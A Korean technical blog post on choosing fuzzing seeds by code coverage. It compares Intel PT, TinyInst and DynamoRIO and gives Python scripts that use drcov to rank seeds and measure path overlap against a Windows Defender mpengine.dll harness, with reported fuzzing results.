Mutation-based strategies are typically superior to others if the original samples [i.e., seeds] are of good quality because the originals carry a lot of semantics that the fuzzer does not have to know about or implement. However, success here really stands and falls with the quality of the samples. If the originals don’t cover certain parts of the implementation, then the fuzzer will also have to do more work to get there.

원본 샘플[즉, 시드]의 품질이 좋은 경우 일반적으로 돌연변이 기반 전략이 다른 전략보다 우수한데, 원본에는 퍼저가 알 필요가 없는 많은 의미가 담겨 있기 때문입니다. 퍼저가 알거나 구현할 필요가 없기 때문입니다. 그러나 여기서 성공 여부는 실제로 샘플의 샘플의 품질에 달려 있습니다. 원본이 구현의 특정 부분을 다루지 않는다면 퍼저는 더 많은 작업을 수행해야 합니다.

-Seed selection for successful fuzzing 논문 중 발췌 (Mozila 브라우저 개발자)

개발 과정

INTEL PT vs Dynamorio vs TinyInst

위 3가지는 전부 프로그램의 실행 Flow를 추적하여 얼마나 많은 basic Block을 거쳤는지 알 수 있게 해준다. INTEL PT의 경우에는 libipt / WinIPT 같은 툴을 사용하여 따로 Trace Log를 Decode해야하고, 다른 두 Instrument Engine은 프로그램을 디버거를 붙여 RIP를 추적하 듯 실행 흐름을 추적하기 때문에 Decode는 필요없지만, RIP를 추적하기 위해 예외나 Interrupt를 만들어야하기 때문에 속도 오버헤드가 크다는 단점이 있다. 아래는 각 Instrument 측정 방법의 장단점과 선택 계기에 대해 설명한다.

INTEL PT

Intel Processor Trace (Intel PT)는 Intel의 최신 프로세서에서 지원하는 성능 분석 및 디버깅 기능으로, 실행 중인 프로그램의 흐름을 추적하여 그 정보를 기록하는 능력을 제공하는데, 위 기능을 활용하면 DynamoRio나 TinyInst와 달리 거의 적은(1%<)의 오버헤드로 현재 프로세스의 흐름을 추적 가능해 kAFL을 사용할 때도 INTEL PT를 사용해본 경험이 있어 INTEL PT로 Coverage를 측정하여 Seed를 전처리 하는 방식을 고민했지만 아래와 같은 장단점이 있었는데 아래의 인텔 CPU만 지원한다는 점에서 범용성이 떨어져 다른 방식을 사용하기로 결정했다.

장점

오버헤드가 정말 적다
예외 처리나 이상한 동작이 거의 없다. (guest에서 그대로 진행되기 때문)

단점

decode를 잘못 구현하면 오히려 느려진다
리눅스 기반 decoder가 대부분
인텔 CPU만 지원한다 ← 제일 큰 탈락 사유

TinyInst

Google Project Zero에서 개발한 Instrument 엔진으로 Dynamorio보다 더 가벼우나, 정말 치명적인 단점이 있다. 작동 방식은 일부로 실행 페이지에 NX비트를 삽입함으로 서 NONEXECUTE 페이지에서 instruction을 실행하려고 시도해 VEH와 같은 예외 처리기로 실행 흐름을 넘기고, 이를 기록하여 진행하는 방식. 단점과 장점은 아래에서 설명할 예정. 또, 성능 오버헤드가 측정시 20%, 측정 안할 시 15%로 무시 못 할 오버헤드를 보여준다. 그래도 Dynamorio보다 가벼워서 TinyInst로 진행하려 했으나 아래와 같은 장단점 때문에 개발 도중, Dynamorio로 이전하게 되었다

장점

Dynamorio 보다 가벼운 Framework
타 엔진 대비 최신
Basic Block 추적을 위한 타 Framework 요구 X

단점

DEP/NX가 무조건 켜져있어야함
코드 실행 중 수정(Themida/VMP 패킹)이 있으면 실행 시 오류 발생 ← 최고의 전환 사유
스택 반환 주소 해제가 있으면 실행 오류 발생(SEH 핸들러에서 스택해제 등) ← 2번째 전환 사유
코드 패치 이슈로 인한 CRC오류 발생 (아닐 수도 있으나 TinyInst에서만 CRC에서 오류가 Trigger)

위 두 가지의 가장 큰 전환 사유를 해결하기 위해 github에 issue를 남겨서 해결 방안을 모색해봤는데(예외 발생 시 return주소를 강제로 계측 주소로 설정하도록) 그럼에도 문제가 해결되지 않았음. 결국 어쩔 수 없이 원래 TinyInst 버전을 갈아엎고 Dynamorio로 오게 됨.

https://github.com/googleprojectzero/Jackalope/issues/55

"process dead" issue that is not occured by WinAFL or other Fuzzer · Issue #55 · googleprojectzero/Jackalope

Hello, I'm trying to use Jackalope, and I have a 'process death' issue that doesn't happen with winAFL or kAFL. The fuzzer should be executed on the assumption that it is repeated and executed with...

github.com

Dynamorio

DynamoRIO는 프로그램 분석 및 이해, 프로파일링, 계측, 최적화, 번역 등 다양한 용도로 동적 도구를 구축하기 위한 인터페이스를 포함 한 툴킷으로 많은 동적 분석 도구를 제공함. 여기서 Code Coverage를 얻기 위해 drrun을 사용. 아래와 같은 장단점으로 결국 Dynamorio로 SeedSeeker을 제작

장점

예외처리나 코드 실행이 Guest와 비슷한 수준으로 진행
Funky한 Coverage가 거의 발생하지 않음(동일 Seed, 다른 Coverage를 Funky하다고 표현함.)
TinyInst에서 처리하지 못하는 SEH나 VEH등의 핸들러를 디버기에게 넘겨주고 진행함
호환성이 높음
업데이트가 잘 되고 유지보수가 좋음

단점

Instrument Trace용으로만 개발된 것이 아니라 타 유틸대비 무거움
속도/ 오버헤드가 큼

Dynamorio’s Drcov

DynamoRIO 도구 중 drcov 는 어떤 기본 블록이 실행되었는지에 대한 정보를 수집합니다. 프로세스별로 별도의 로그 파일에 결과를 기록합니다.

Drcov에서 사용 가능 한 인수는 밑의 4개가 있습니다.

dump_text:
로그 파일을 텍스트 형식으로 덤프합니다.
dump_binary:
기본적으로 켜져 있으며 로그 파일을 바이너리 형식으로 덤프합니다.
[no_]nudge_kills: Windows에만 해당됩니다. 기본적으로 켜져 있습니다. Nudge를 사용하여 종료 이벤트가 호출되도록 프로세스 종료를 알립니다.
logdir
dir: 기본적으로 "."인 로그 디렉터리를 설정합니다.

여기서 우리가 눈 여겨 볼 만한 두 가지 인수는 dump_text와 logdir가 있습니다

일반적으로 drcov를 사용하여 coverage를 얻는 방법은

..~\\drrun.exe -t drcov -- 프로그램 위치 및 인수

위 명령줄을 통하여 coverage 파일을 얻을 수 있는데, 이렇게 얻은 Coverage File은 바이너리로 덤프되어 Parsing시 불편함을 초래함으로

~\\drrun.exe -t drcov -logdir 원하는 path  -dump_text -- 프로그램 위치 및 인수

위 명령줄을 통하여 아래와 같은 형식의 바이너리 Coverage를 덤프할 수 있었다.

DRCOV VERSION: 3
DRCOV FLAVOR: drcov
Module Table: version 5, count 40
Columns: id, containing_id, start, end, entry, offset, preferred_base, checksum, timestamp, path
  0,   0, 0x000000006b110000, 0x000000006b1ae000, 0x000000006b12aa70, 0000000000000000, 0x000000006b110000, 0x0008f9ca, 0x64534b3b,  C:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\14.3.10148.8000.105\\Data\\Sysfer\\x64\\sysfer.dll
  1,   1, 0x0000000071000000, 0x00000000711c9000, 0x00000000710a7c30, 0000000000000000, 0x0000000071000000, 0x0019d6af, 0x64de8a6d,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0/lib64\\release\\dynamorio.dll
  2,   2, 0x00007ff5d85e0000, 0x00007ff5d85e6000, 0x00007ff5d85e0000, 0000000000000000, 0x0000000072000000, 0x00000000, 0x64de8af4,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0\\tools\\lib64\\release\\drcov.dll
  3,   3, 0x00007ff5d85f0000, 0x00007ff5d85f9000, 0x00007ff5d85f0000, 0000000000000000, 0x0000000073800000, 0x00000000, 0x64de8af3,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0/ext\\lib64\\release/drcovlib.dll
  4,   4, 0x00007ff5d8600000, 0x00007ff5d860f000, 0x00007ff5d8600000, 0000000000000000, 0x0000000077000000, 0x00000000, 0x64de8add,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0/ext\\lib64\\release/drx.dll
  5,   5, 0x00007ff5d8610000, 0x00007ff5d861c000, 0x00007ff5d8610000, 0000000000000000, 0x0000000078000000, 0x00000000, 0x64de8adb,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0/ext\\lib64\\release/drreg.dll
.
.
.
중략
module[ 12]: 0x000000000005aa30,  19
module[ 12]: 0x000000000005aa43,  21
module[ 12]: 0x00000000000a3040,   6
.
.
.
중략

그렇다면 현재 프로그램이 실행한 Basic Block을 Parsing하기 위해 이 Dump 된 Coverage의 구성 요소를 알아야한다. 큰 부분들로 나누어서 봐보자.

DRCOV VERSION: 3
DRCOV FLAVOR: drcov
Module Table: version 5, count 40

위 부분은 DRCOV의 버전과 사용 툴킷, 타깃 프로세스의 Module Count를 나타낸다.

딱히 Coverage나 Fuzzing 때 Module Count는 큰 의미가 없으니 제쳐두자.

Columns: id, containing_id, start, end, entry, offset, preferred_base, checksum, timestamp, path
  0,   0, 0x000000006b110000, 0x000000006b1ae000, 0x000000006b12aa70, 0000000000000000, 0x000000006b110000, 0x0008f9ca, 0x64534b3b,  C:\\ProgramData\\Symantec\\Symantec Endpoint Protection\\14.3.10148.8000.105\\Data\\Sysfer\\x64\\sysfer.dll
  1,   1, 0x0000000071000000, 0x00000000711c9000, 0x00000000710a7c30, 0000000000000000, 0x0000000071000000, 0x0019d6af, 0x64de8a6d,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0/lib64\\release\\dynamorio.dll
  2,   2, 0x00007ff5d85e0000, 0x00007ff5d85e6000, 0x00007ff5d85e0000, 0000000000000000, 0x0000000072000000, 0x00000000, 0x64de8af4,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0\\tools\\lib64\\release\\drcov.dll
  3,   3, 0x00007ff5d85f0000, 0x00007ff5d85f9000, 0x00007ff5d85f0000, 0000000000000000, 0x0000000073800000, 0x00000000, 0x64de8af3,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0/ext\\lib64\\release/drcovlib.dll
  4,   4, 0x00007ff5d8600000, 0x00007ff5d860f000, 0x00007ff5d8600000, 0000000000000000, 0x0000000077000000, 0x00000000, 0x64de8add,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0/ext\\lib64\\release/drx.dll
  5,   5, 0x00007ff5d8610000, 0x00007ff5d861c000, 0x00007ff5d8610000, 0000000000000000, 0x0000000078000000, 0x00000000, 0x64de8adb,  C:\\Users\\hyjun\\Downloads\\DynamoRIO-Windows-10.0.0/ext\\lib64\\release/drreg.dll

아래는 현재 프로세스 안에서 동작하는 모듈들의 정보로 서, 각각 Columns를 살펴 보면 알 수 있 듯, 각 모듈에 id를 붙여 인덱스 형태로 동작하게 된다. 대부분 Fuzzing시 특정 모듈에서만 Coverage를 측정하고 그 Coverage를 기반으로 Mutation을 진행하기 때문에 이 부분을 눈 여겨 봐야한다. 마지막 필드에 모듈 이름이 기재되어 있으므로, 파일 Parsing 시 원하는 모듈의 이름을 입력 받고, 그 모듈의 이름을 가진 줄을 출력한 후 해당 줄에 해당하는 Columns ID를 추출하면 될 것 같다라는 가정을 할 수 있었다.

BB Table: 132676 bbs
module id, start, size:
module[ 12]: 0x000000000005aa30,  19
module[ 12]: 0x000000000005aa43,  21
module[ 12]: 0x00000000000a3040,   6

다음으로는 모듈과 관련 된 정보가 기재되어 있는 테이블이다. 위 테이블에서는 모듈의 Index와 Basic Block의 Start 주소를 RVA 형식으로 표현, 또 Basic Block의 크기(SIZE)를 제공하여 위 모듈 정보에서 원하는 타깃 모듈의 인덱스를 가져와 타깃 프로세스에서 특정 모듈의 어느 주소를 실행시켰는지 파싱할 수 있다.

위의 정보들을 기반으로 Python에서 위 과정을 전 자동화하기 위해 Drcov로 타깃 프로세스에서 Seed 폴더에 있는 모든 파일의 Coverage 파일을 Text 형식으로 Dump하는 것부터 시작하겠다.

def find_files_with_string(directory, search_string):
    result = []

    for root, _, files in os.walk(directory):
        for filename in files:
            if search_string in filename:
                result.append(os.path.join(root, filename))

    return result

def rename_new_files(file_path, new_file_paths):        
        try:
            os.rename(file_path, new_file_paths)
        except Exception as e:
            print(f"error: {str(e)}")

def run_dynamic_rio(run_process_command,filename):
    dynamic_rio_path = "C:\\\\Users\\\\hyjun\\\\Downloads\\\\DynamoRIO-Windows-10.0.0\\\\bin64\\\\drrun.exe -t drcov -logdir C:\\\\CoverageDump -dump_text -- " + run_process_command.replace("@@",filename)
    try:
        subprocess.run(dynamic_rio_path, shell=True)
    except FileNotFoundError:
        print(f"not found '{dynamic_rio_path}'")
    except Exception as e:
        print(f"error: {str(e)}")

def make_cov_file(coverageDumpPath, coverageFilePath):
    make_temp_covfold(coverageDumpPath)

    search_string = 'drcov'

    if os.path.exists(coverageFilePath):
        for root, dirs, files in os.walk(coverageFilePath):
            for file in files:
                file_path = os.path.join(root, file)
                
                run_process_command = "C:\\\\Users\\\\hyjun\\\\Downloads\\\\DefenderFuzzing-ver3\\\\x64\\\\Release\\\\HarnessForDef.exe -f @@"
								# 타겟 프로세스 실행 명령줄 @@는 FilePath(seed위치로 대체된다)
                filename = file_path.replace(coverageFilePath+"\\\\","")
                run_dynamic_rio(run_process_command,file_path)

                new_path = find_files_with_string(coverageDumpPath, search_string)
                new_filename = new_path[0].replace(coverageDumpPath+"\\\\","")
                parts = filename.split(".")
                #if len(parts) > 1:
                #    parts[-1] = "cov"
                #    filenamewithcov = ".".join(parts)
                #else:
                filenamewithcov = filename + ".cov"
                rename_new_files(new_path[0],new_path[0].replace(new_filename,filenamewithcov))
    else:
        print(f"'{coverageFilePath}' directory Not Found")

위 코드는 drcov를 사용하여 coverageFilePath내의 파일을 순회하며 coverageDumpPath에 Coverage File을 .cov 형태로 생성하는 코드이다. 위 코드로 생성된 cov파일은 seed이름.확장자.cov의 형태를 가지며, text형태로 Dump 되었기 때문에 분석에 용이하다.

이렇게 생성된 Cov 파일을 파싱하기 위해 위에서 분석한대로 module의 Index를 가져오고, Index에 해당하는 line의 개수를 셈으로 서 Coverage를 상대적으로 측정할 수 있다. 다음은 이 모든 과정을 병합한 코드이다.

import subprocess
import os
import shutil
     
previous_files = []

def find_lines_with_string(filename, search_string):
    try:
        with open(filename, 'r') as file:
            lines = file.readlines()
            for i, line in enumerate(lines):
                if search_string in line:
                    return line.strip()
    except FileNotFoundError:
        print(f"File '{filename}' not found.")
    except Exception as e:
        print(f"An error occurred: {str(e)}")

def count_lines_with_string(filename, target_string):
    count = 0

    try:
        with open(filename, 'r', encoding='utf-8') as file:
            for line in file:
                if target_string in line:
                    count += 1
    except FileNotFoundError:
        print(f"File '{filename}'not exist")
    except Exception as e:
        print(f"error: {str(e)}")

    return count

def make_temp_covfold(directory_path):
    try:
        if os.path.exists(directory_path):
            shutil.rmtree(directory_path)
            print(f"'{directory_path}' removed")
        
        os.makedirs(directory_path)
        print(f"'{directory_path}' recreated")
    except Exception as e:
        print(f"error: {str(e)}")

def run_dynamic_rio(run_process_command,filename):
    dynamic_rio_path = "C:\\\\Users\\\\hyjun\\\\Downloads\\\\DynamoRIO-Windows-10.0.0\\\\bin64\\\\drrun.exe -t drcov -logdir C:\\\\CoverageDump -dump_text -- " + run_process_command.replace("@@",filename)
    try:
        subprocess.run(dynamic_rio_path, shell=True)
    except FileNotFoundError:
        print(f"not found '{dynamic_rio_path}'")
    except Exception as e:
        print(f"error: {str(e)}")

def find_files_with_string(directory, search_string):
    result = []

    for root, _, files in os.walk(directory):
        for filename in files:
            if search_string in filename:
                result.append(os.path.join(root, filename))

    return result

def rename_new_files(file_path, new_file_paths):        
        try:
            os.rename(file_path, new_file_paths)
        except Exception as e:
            print(f"error: {str(e)}")

def make_cov_file(coverageDumpPath, coverageFilePath):
    make_temp_covfold(coverageDumpPath)

    search_string = 'drcov'

    if os.path.exists(coverageFilePath):
        for root, dirs, files in os.walk(coverageFilePath):
            for file in files:
                file_path = os.path.join(root, file)
                
                run_process_command = "C:\\\\Users\\\\hyjun\\\\Downloads\\\\DefenderFuzzing-ver3\\\\x64\\\\Release\\\\HarnessForDef.exe -f @@"
                filename = file_path.replace(coverageFilePath+"\\\\","")
                run_dynamic_rio(run_process_command,file_path)

                new_path = find_files_with_string(coverageDumpPath, search_string)
                new_filename = new_path[0].replace(coverageDumpPath+"\\\\","")
                parts = filename.split(".")
                #if len(parts) > 1:
                #    parts[-1] = "cov"
                #    filenamewithcov = ".".join(parts)
                #else:
                filenamewithcov = filename + ".cov"
                rename_new_files(new_path[0],new_path[0].replace(new_filename,filenamewithcov))
    else:
        print(f"'{coverageFilePath}' directory Not Found")

def Check_cov_per_file(modulename,covfilepath):
    if os.path.exists(covfilepath):
        results = {}
        for root, dirs, files in os.walk(covfilepath):
            for file in files:
                file_path = os.path.join(root, file)

                search_string = modulename
                finded_one = find_lines_with_string(file_path, search_string)   
                if(finded_one != None):
                    parts = finded_one.split(',')
                    first_number = parts[0].strip()
                    firstnum = int(first_number)
                    if firstnum < 10:
                        search_string1 = "module[  x]"
                        modified_string = search_string1.replace("[  x]", f"[  {first_number}]")
                    else:
                        search_string1 = "module[ x]"
                        modified_string = search_string1.replace("[ x]", f"[ {first_number}]")
                    finded_module = count_lines_with_string(file_path,modified_string)
                    results[file_path] = finded_module
                else:
                    results[file_path] = 0
        print("")
        print("---------------------------------------------------")
        sorted_results = sorted(results.items(), key=lambda x: x[1], reverse=True)
        for file_path, finded_module in sorted_results:
            print(file_path + "'s Count : " + str(finded_module))
        print("---------------------------------------------------")

make_cov_file("C:\\\\CoverageDump","C:\\\\CoverageValidate")
Check_cov_per_file("mpengine.dll", "C:\\\\CoverageDump")

위 코드를 살펴보면, Windows Defender를 Fuzzing하기 위한 harness에 Seed들을 여러개 삽입하고 그 Coverage Feedback을 얻고, Count를 출력하는 코드로 서, 출력은 다음과 같다.

---------------------------------------------------
C:\\CoverageDump\\HarnessForDef_upx.exe.cov's Count : 113030
C:\\CoverageDump\\aaa.vmp.exe.cov's Count : 108887
C:\\CoverageDump\\HarnessForDef.exe.cov's Count : 106135
C:\\CoverageDump\\Hello.MacroEnabled.docm.cov's Count : 97230
C:\\CoverageDump\\small_archive.bz2.cov's Count : 92498
C:\\CoverageDump\\small_archive.xz.cov's Count : 91827
C:\\CoverageDump\\small_archive.zip.cov's Count : 91721
C:\\CoverageDump\\small_archive.arj.cov's Count : 91593
C:\\CoverageDump\\small_archive.rar.cov's Count : 91321
C:\\CoverageDump\\small_archive.lha.cov's Count : 91080
C:\\CoverageDump\\small_archive.Z.cov's Count : 90974
C:\\CoverageDump\\small_archive.gz.cov's Count : 90923
C:\\CoverageDump\\small_archive.cab.cov's Count : 90873
C:\\CoverageDump\\small_archive.lz.cov's Count : 90767
C:\\CoverageDump\\small_archive.lzma.cov's Count : 90648
C:\\CoverageDump\\small_archive.zoo.cov's Count : 90616
C:\\CoverageDump\\small_archive.tar.cov's Count : 90577
C:\\CoverageDump\\small_archive.cpio.cov's Count : 90399
C:\\CoverageDump\\small_archive.a.cov's Count : 89540
C:\\CoverageDump\\Hello.Macro.Word97-2004.doc.cov's Count : 89147
C:\\CoverageDump\\Hello.docx.cov's Count : 89139
C:\\CoverageDump\\small_archive.rz.cov's Count : 88731
C:\\CoverageDump\\HelloWorld.7z.cov's Count : 88700
C:\\CoverageDump\\HelloWorld.rar.cov's Count : 88096
C:\\CoverageDump\\small_archive.lrz.cov's Count : 87781
.
.
.
.
.
.
C:\\CoverageDump\\Test Email from Google.cov's Count : 140
---------------------------------------------------

위의 결과에서 볼 수 있 듯, 최악의 경우(이메일 형식의 파일)은 Coverage가 140에 달하는 결과를 보여준다. (타게팅한 함수에서 Email 자체를 파싱하지 못하고 return) 이런 Seed 파일을 아무것도 모르고 사용했다가는, 초기 init값으로 계속 사용되며 Mutation Cycle, Fuzzing Cycle을 낭비하게 된다.

지금까지는 각기 다른 확장자의 파일들의 Coverage를 측정했었다. 그렇다면 이제 Seed의 ‘중복 방지’를 해야할 시간이다. 위 논문에서 언급했던 중복 방지의 중요성을 기억하는가?

When deploying fuzzers at an industrial scale it is imperative that seeds exhibiting redundant behavior be removed from the fuzzing queue, as they will lead to wasted cycles.
산업 규모에 퍼저를 배포할 때는 반드시 중복 동작(낮은 Coverage)를 보이는 시드는 퍼징 대기열에서 제거해야 합니다. 퍼징 대기열에서 제거해야 합니다. 불필요한 주기를 초래할 수 있기 때문입니다.

-Seed selection for successful fuzzing 논문 중 발췌

중복 동작이라 함은, 동일 한 Path를 가지는 Seed를 의미할 것이다. 동일 한 Path를 가지는 Seed를 제거하기 위해서는 일단 Cov파일 당 Path를 전부 덤프하여 Cov 파일간의 동일성을 따져보면 될텐데, Path를 덤프하는 것은 큰 문제가 되지 않지만(오버헤드 문제가 있기는하다), 어떻게 동일성을 따질지가 문제가 될 수 있다. 여기서는 A B C파일이 있다면 A B, A C, B C 이런 식으로 파일간의 동일성을 따지는 방식을 사용하여 코드를 작성했다. 최종 코드는 아래와 같다.

import subprocess
import os
import shutil
import re
previous_files = []
cov_dict_with_addr = {}

def print_common_counts_sorted(common_counts):
    # 결과를 count 기준으로 내림차순 정렬
    sorted_pairs = sorted(common_counts.items(), key=lambda x: x[1], reverse=True)
    # 결과 문자열 리스트 생성
    result_str_list = [f"'{pair}': {count}" for pair, count in sorted_pairs]
    return "\\n".join(result_str_list)

def find_lines_with_string(filename, search_string):
    try:
        with open(filename, 'r') as file:
            lines = file.readlines()
            for i, line in enumerate(lines):
                if search_string in line:
                    return line.strip()
    except FileNotFoundError:
        print(f"File '{filename}' not found.")
    except Exception as e:
        print(f"An error occurred: {str(e)}")

def count_common_addresses_multiple(modules_data):
    module_names = list(modules_data.keys())  # 모듈 이름 목록
    common_counts = {}  # 결과를 저장할 딕셔너리
    
    # 모든 모듈 조합에 대해 비교
    for i in range(len(module_names)):
        for j in range(i + 1, len(module_names)):
            # 두 모듈 간의 동일한 주소 개수 계산
            common_addresses = set(modules_data[module_names[i]]) & set(modules_data[module_names[j]])
            # 결과 저장
            common_counts[f"{module_names[i]}  -  {module_names[j]}"] = len(common_addresses)
            
    return common_counts

def count_lines_with_string(filename, target_string):
    count = 0

    try:
        with open(filename, 'r', encoding='utf-8') as file:
            for line in file:
                if target_string in line:
                    count += 1
                    if filename not in cov_dict_with_addr:
                        cov_dict_with_addr[filename] = [re.search(r"0x[0-9a-fA-F]+", line).group()]
                    else:
                        cov_dict_with_addr[filename].append(re.search(r"0x[0-9a-fA-F]+", line).group())
    except FileNotFoundError:
        print(f"File '{filename}'not exist")
    except Exception as e:
        print(f"error: {str(e)}")

    return count

def make_temp_covfold(directory_path):
    try:
        if os.path.exists(directory_path):
            shutil.rmtree(directory_path)
            print(f"'{directory_path}' removed")
        
        os.makedirs(directory_path)
        print(f"'{directory_path}' recreated")
    except Exception as e:
        print(f"error: {str(e)}")

def run_dynamic_rio(run_process_command,filename):
    dynamic_rio_path = "C:\\\\Users\\\\hyjun\\\\Downloads\\\\DynamoRIO-Windows-10.0.0\\\\bin64\\\\drrun.exe -t drcov -logdir C:\\\\CoverageDump -dump_text -- " + run_process_command.replace("@@",filename)
    try:
        subprocess.run(dynamic_rio_path, shell=True)
    except FileNotFoundError:
        print(f"not found '{dynamic_rio_path}'")
    except Exception as e:
        print(f"error: {str(e)}")

def find_files_with_string(directory, search_string):
    result = []

    for root, _, files in os.walk(directory):
        for filename in files:
            if search_string in filename:
                result.append(os.path.join(root, filename))

    return result

def rename_new_files(file_path, new_file_paths):        
        try:
            os.rename(file_path, new_file_paths)
        except Exception as e:
            print(f"error: {str(e)}")

def make_cov_file(coverageDumpPath, coverageFilePath):
    make_temp_covfold(coverageDumpPath)

    search_string = 'drcov'

    if os.path.exists(coverageFilePath):
        for root, dirs, files in os.walk(coverageFilePath):
            for file in files:
                file_path = os.path.join(root, file)
                
                run_process_command = "C:\\\\Users\\\\hyjun\\\\Downloads\\\\DefenderFuzzing-ver3\\\\x64\\\\Release\\\\HarnessForDef.exe -f @@"
                filename = file_path.replace(coverageFilePath+"\\\\","")
                run_dynamic_rio(run_process_command,file_path)

                new_path = find_files_with_string(coverageDumpPath, search_string)
                new_filename = new_path[0].replace(coverageDumpPath+"\\\\","")
                parts = filename.split(".")
                #if len(parts) > 1:
                #    parts[-1] = "cov"
                #    filenamewithcov = ".".join(parts)
                #else:
                filenamewithcov = filename + ".cov"
                rename_new_files(new_path[0],new_path[0].replace(new_filename,filenamewithcov))
    else:
        print(f"'{coverageFilePath}' directory Not Found")

def Check_cov_per_file(modulename,covfilepath):
    if os.path.exists(covfilepath):
        results = {}
        for root, dirs, files in os.walk(covfilepath):
            for file in files:
                file_path = os.path.join(root, file)

                search_string = modulename
                finded_one = find_lines_with_string(file_path, search_string)   
                if(finded_one != None):
                    parts = finded_one.split(',')
                    first_number = parts[0].strip()
                    firstnum = int(first_number)
                    if firstnum < 10:
                        search_string1 = "module[  x]"
                        modified_string = search_string1.replace("[  x]", f"[  {first_number}]")
                    else:
                        search_string1 = "module[ x]"
                        modified_string = search_string1.replace("[ x]", f"[ {first_number}]")
                    finded_module = count_lines_with_string(file_path,modified_string)
                    results[file_path] = finded_module
                else:
                    results[file_path] = 0
        print("")
        print("---------------------------------------------------")
        sorted_results = sorted(results.items(), key=lambda x: x[1], reverse=True)
        for file_path, finded_module in sorted_results:
            print(file_path + "'s Count : " + str(finded_module))
        print("---------------------------------------------------")

make_cov_file("C:\\\\CoverageDump","C:\\\\CoverageValidate")
Check_cov_per_file("mpengine.dll", "C:\\\\CoverageDump")
common_addresses_counts = count_common_addresses_multiple(cov_dict_with_addr)
formatted_output = print_common_counts_sorted(common_addresses_counts)
print(formatted_output)

특히나 이 동일성과 coverage 측정 기능은 타겟 함수가 “정확히” 어떻게 처리되는지 모르는 경우 용이하다.

단편적으로 확장자가 동일하면 처리 루틴이 같다고 생각하기 때문에 아래와 같은 결과를 추측할 수 있다. 점선으로 구분 된 곳이 위가 순수 Coverage Count, 두 번째가 파일 간 유사 Path의 개수이다. 여기서는 dll이 105000을 넘는 엄청 큰 Coverage를 가지고 있어 3개의 dll을 전부 Seed로 제공할 수 있지만, 정작 겹치는 Coverage Count를 보면 appverifUI.dll과 vfCompat.dll 간의 유사 path는 83477으로, 두 seed를 사용할 경우 추가적으로 얻을 수 있는 path는 타 seed 대비 15000도 안된다는 것이다. 이런 결과를 미루어보아 확장자가 같으면 coverage가 비슷하구나~ 라고 판단할 수 있지만 그렇지 않다.

C:\\CoverageDump\\vfcompat.dll.cov's Count : 109572
C:\\CoverageDump\\appverifUI.dll.cov's Count : 107682
C:\\CoverageDump\\hello-world-x64.dll.cov's Count : 104883
---------------------------------------------------
'C:\\CoverageDump\\appverifUI.dll.cov  -  C:\\CoverageDump\\vfcompat.dll.cov': 83477
'C:\\CoverageDump\\appverifUI.dll.cov  -  C:\\CoverageDump\\hello-world-x64.dll.cov': 81313
'C:\\CoverageDump\\hello-world-x64.dll.cov  -  C:\\CoverageDump\\vfcompat.dll.cov': 70102

그 예로 아래를 참고하면 전부 동일한 zip 파일 형식을 가지고 있는 경우에도 Coverage차이가 1.8배 이상 난다.(심지어 유사 path는 60000개 정도밖에 안되기 때문에 80000개의 path가 새로운 path이다.) 왜 이런지 분석해봤는데, Defender의 경우 Zip 파일을 헤더만 분석하는 것이 아닌, 직접 Unpacking을 하고 Unpacking한 바이너리를 직접 또 다시 재귀적으로 분석한다. 위 과정에서 path traversial이나 unpacking 과정을 타게팅으로 한 취약점을 추가적으로 식별할 수도 있다.

---------------------------------------------------
C:\\CoverageDump\\DNSSetup.zip.cov's Count : 140911
C:\\CoverageDump\\hello-world-dll-1.0.0.zip.cov's Count : 98462
C:\\CoverageDump\\Black_Wane.zip.cov's Count : 97439
---------------------------------------------------
'C:\\CoverageDump\\Black_Wane.zip.cov  -  C:\\CoverageDump\\DNSSetup.zip.cov': 65331
'C:\\CoverageDump\\hello-world-dll-1.0.0.zip.cov  -  C:\\CoverageDump\\SecretDNSSetup.zip.cov': 65168
'C:\\CoverageDump\\Black_Wane.zip.cov  -  C:\\CoverageDump\\hello-world-dll-1.0.0.zip.cov': 64996

실제 적용 결과 및 사례

NDA (Crash 제보 중)

밝힐 수는 없지만, 특정 라이브러리에 도전하면서 조금 겁을 먹었던 부분이 위 라이브러리는 자체적으로 퍼징 테스트를 진행한다고 홍보를 하고 있었기 때문인데, 문득 이 연구를 테스트 해보기 위해서 개발한 FuzzSeedSeeker 프로그램을 사용하여 가지치기를 한 Seed와 그렇지 않은 Fuzzing test를 진행하면 SeedSeeker의 성능을 입증할 수 있을 것이라 생각해, 2일을 퍼징한 결과, SeedSeeker을 사용한 Fuzzer에서 취약점이 나왔다. 크롤링한 Seed는 ClamAV Seed나 웹의 아카이브 검색으로 다운받은 여러 파일을 사용하였다.

사진 1. SeedSeeker로 선별 된 Seed사용 사진 2. 크롤링한 모든 Seed 사용

위의 사진에서 볼 수 있 듯이, 오른쪽의 모든 Seed를 사용한 것은 6000만번의 Exec을 통해 2661개의 Unique Sample을 생성하고, 0개의 Crash를 생성한 반면, 왼쪽의 SeedSeeker로 엄선 된 Seed를 사용한 Fuzzer는 1900만번의 상대적으로 적은 Exec(3분의 1)만을 통해 2400개의 달하는 Unique Sample과 2개의 Crash를 찾아낼 수 있었다. 특히 오른쪽의 모든 Seed를 사용한 Fuzzer는 2일정도가 지나자 [Failed] Allocation Buffer For input Sample이라는 오류와 함께 종료되었는데, SeedSeeker로 선별 된 Seed는 2일간 아무 문제 없이 현재 글을 쓰는 시점에서 35개의 crash(unique는 13개)를 찾아냈다.

Windows Defender - mpengine.dll - kAFL with RedQueen

다음은 Seed가 더욱 중요하다고 알려진 RedQueen을 통한 Fuzzing에서의 Seed의 중요성을 알아보고자 한다.

사진 1. SeedSeeker로 엄선 된 Seed로 진행한 결과. 사진 2. 무더기 Seed 파일 뭉치를 사용한 결과.

